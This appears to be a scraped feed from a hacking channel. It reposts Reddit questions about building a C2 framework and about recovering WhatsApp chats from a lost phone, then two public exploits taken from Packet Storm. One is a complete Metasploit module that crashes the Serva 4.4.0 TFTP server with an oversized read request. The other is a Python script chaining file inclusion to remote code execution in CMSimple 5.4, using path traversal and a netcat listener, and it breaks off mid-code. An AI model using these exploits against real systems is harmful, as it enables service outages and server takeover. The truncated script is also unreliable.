Hacking Articles Tips Tricks Videos Tutorials

hacking: security in practice
Creating your own C2 Framework

Has anybody here any experience on the matter? I am creating one for my university Thesis and i don't know where to start. I am good at programming, can somebody give me a small guide on where to start, what to expect, what languages to use etc. Thanks in advance.

submitted by /u/JuicyNatural
[link] [comments]

___________________________
@hacking_Attack
@Hacking_Video

Creating your own C2 Framework

Has anybody here any experience on the matter? I am creating one for my university Thesis and i don't know where to start. I am good at...

3 viewsedited 16:41

hacking: security in practice
Getting backup of whatsapp and maybe even notes ..

I need help… please … So i lost my oneplus some months ago and i dont know about backup and stuff …. I actually lost it months ago … i have done a lil research … all i have is maybe phone details like model number and stuff and the number i used for whatsapp … if it is possible to grt those chats by a number … please tell me … please I have many important things in that … please

submitted by /u/anotherweeb-_-
[link] [comments]

___________________________
@hacking_Attack
@Hacking_Video

Getting backup of whatsapp and maybe even notes ..

I need help… please … So i lost my oneplus some months ago and i dont know about backup and stuff …. I actually lost it months ago … i have done...

4 viewsedited 16:41

Hacking Articles Tips Tricks Videos Tutorials

4 views17:37

Hacking Articles Tips Tricks Videos Tutorials

3 views17:37

Hacking Articles Tips Tricks Videos Tutorials

Photo

Exploit Collector
Serva 4.4.0 TFTP Remote Buffer Overflow

https://4.bp.blogspot.com/-Lnl-ZxRP9Iw/WWlvEVwqA2I/AAAAAAAAIK8/WG2BCM3S_lsUOouuCwhP5sp3j7hYzeO-wCLcBGAs/s1600/h133.png
The Serva TFTP server version 4.4.0 can be brought down by sending a special Read request.

MD5 | 75523ccfe4170ca41342bbd1293163fb

Download

# Exploit Title: Serva 4.4.0 TFTP Server Remote Buffer Overflow (Metasploit)
# Date: 2021-11-23
# Exploit Author: Yehia Elghaly
# Vendor Homepage: https://www.vercot.com/
# Software Link : https://www.vercot.com/~serva/download/Serva_Community_v4.4.0-21081411.zip
# Tested Version: 4.4.0
# Tested on: Windows XP SP3 -  Windows 7 Professional x86 SP1 - Windows 10 x64

##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Auxiliary
include Msf::Exploit::Remote::Udp
include Msf::Auxiliary::Dos
Rank = ExcellentRanking

def initialize(info = {})
super(update_info(info,
'Name'           => 'Serva 4.4.0 TFTP Remote Buffer Overflow',
'Description'    => %q{
The Serva TFTP server version 4.4.0 can be
brought down by sending a special Read request.
},
'Author'         => 'Yehia Elghaly',
'License'        => MSF_LICENSE,
'DisclosureDate' => '2021-11-23'))

register_options([Opt::RPORT(69)])
end

def run
connect_udp
print_status("Sending Read request...")
sploit  = "\x00\x01"
sploit += "A" * 257
sploit += "\x00"
sploit += "netascii"
sploit += "\x00"
udp_sock.put(sploit)
disconnect_udp
end
end

Source:packetstormsecurity.com

___________________________
@hacking_Attack
@Hacking_Video

Kitploit

Serva 4.4.0 TFTP Remote Buffer Overflow

Exploit Collector is the ultimate collection of public exploits and exploitable vulnerabilities. Remote/Local Exploits, Shellcode and 0days.

3 viewsedited 17:37

Hacking Articles Tips Tricks Videos Tutorials

3 views17:37

Hacking Articles Tips Tricks Videos Tutorials

Photo

Exploit Collector
CMSimple 5.4 Local File Inclusion / Remote Code Execution

https://2.bp.blogspot.com/-NrOPg3Mty0U/WWlvlwk6sbI/AAAAAAAAIRI/oNtlpfQhQf0CXQthUyFzuVS3vq_pC_VnACLcBGAs/s1600/hack_img2.png
CMSimple version 5.4 local file inclusion to remote code execution exploit.

MD5 | 7d206d745fd2639b990408dc45a77919

Download
# Exploit Title: CMSimple 5.4 - Local file inclusion (LFI) to Remote code execution (RCE) (Authenticated)
# Date: 11/15/2021
# Exploit Author: S1lv3r
# Vendor Homepage: https://www.cmsimple.org/en/
# Software Link: https://www.cmsimple.org/en/
# Version: CMSimple 5.4
# Tested on: CMSimple 5.4

# writeup:
# https://github.com/iiSiLvEr/CMSimple5.4-Vulnerabilities

#!/usr/bin/python3
import requests
import threading
import datetime
import sys
from bs4 import BeautifulSoup
x = datetime.datetime.now()
addSeconds = datetime.timedelta(0, 10)
Time = x + addSeconds

proxies = {"http": "http://127.0.0.1:8080","https": "https://127.0.0.1:8080",}
def Login():
try:
global Time
s = requests.Session()
headers= {"Content-Type": "application/x-www-form-urlencoded"}

data = f'login=true&selected=Welcome_to_CMSimple_5&User={User}&passwd={Password}&submit=Login'

response = s.post(RHOST, data=data, headers=headers, verify=False)#, proxies=proxies
if response.cookies['passwd']:
print("(+) Sucessfully Logged In With " + User + ":" + Password)

cookies = response.cookies
params = (('file', 'config'),('action', 'array'),)
response = s.get(RHOST ,cookies=cookies ,params=params,verify=False)
soup = BeautifulSoup(response.text, 'lxml')
CsrfValue = soup.find('input',attrs = {'name':'csrf_token'})['value']
print("(+) Get CSRF Token : [ " + CsrfValue + " ]")
data = f'csrf_token={CsrfValue}&functions_file=..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2Fvar%2Flib%2Fphp%2Fsessions%2Fsess_S1lv3r&form=array&file=config&action=save'
response = s.post(RHOST, headers=headers, cookies=cookies, data=data, verify=False)
print("(+) Changing Functions file Done ")
print("(+) Check Your nc listner on " + LPORT)
except Exception as error:
print("Error, Exiting;( ")
print(error)
pass
def fuzz():
while True:
try:
sessionName = "S1lv3r"
cookies = {'PHPSESSID': sessionName}
files = {'PHP_SESSION_UPLOAD_PROGRESS':(None,
'
Source:packetstormsecurity.com

___________________________
@hacking_Attack
@Hacking_Video

Kitploit

CMSimple 5.4 Local File Inclusion / Remote Code Execution

Exploit Collector is the ultimate collection of public exploits and exploitable vulnerabilities. Remote/Local Exploits, Shellcode and 0days.

5 viewsedited 17:37

Hacking Articles Tips Tricks Videos Tutorials

5 views17:37

Hacking Articles Tips Tricks Videos Tutorials

Photo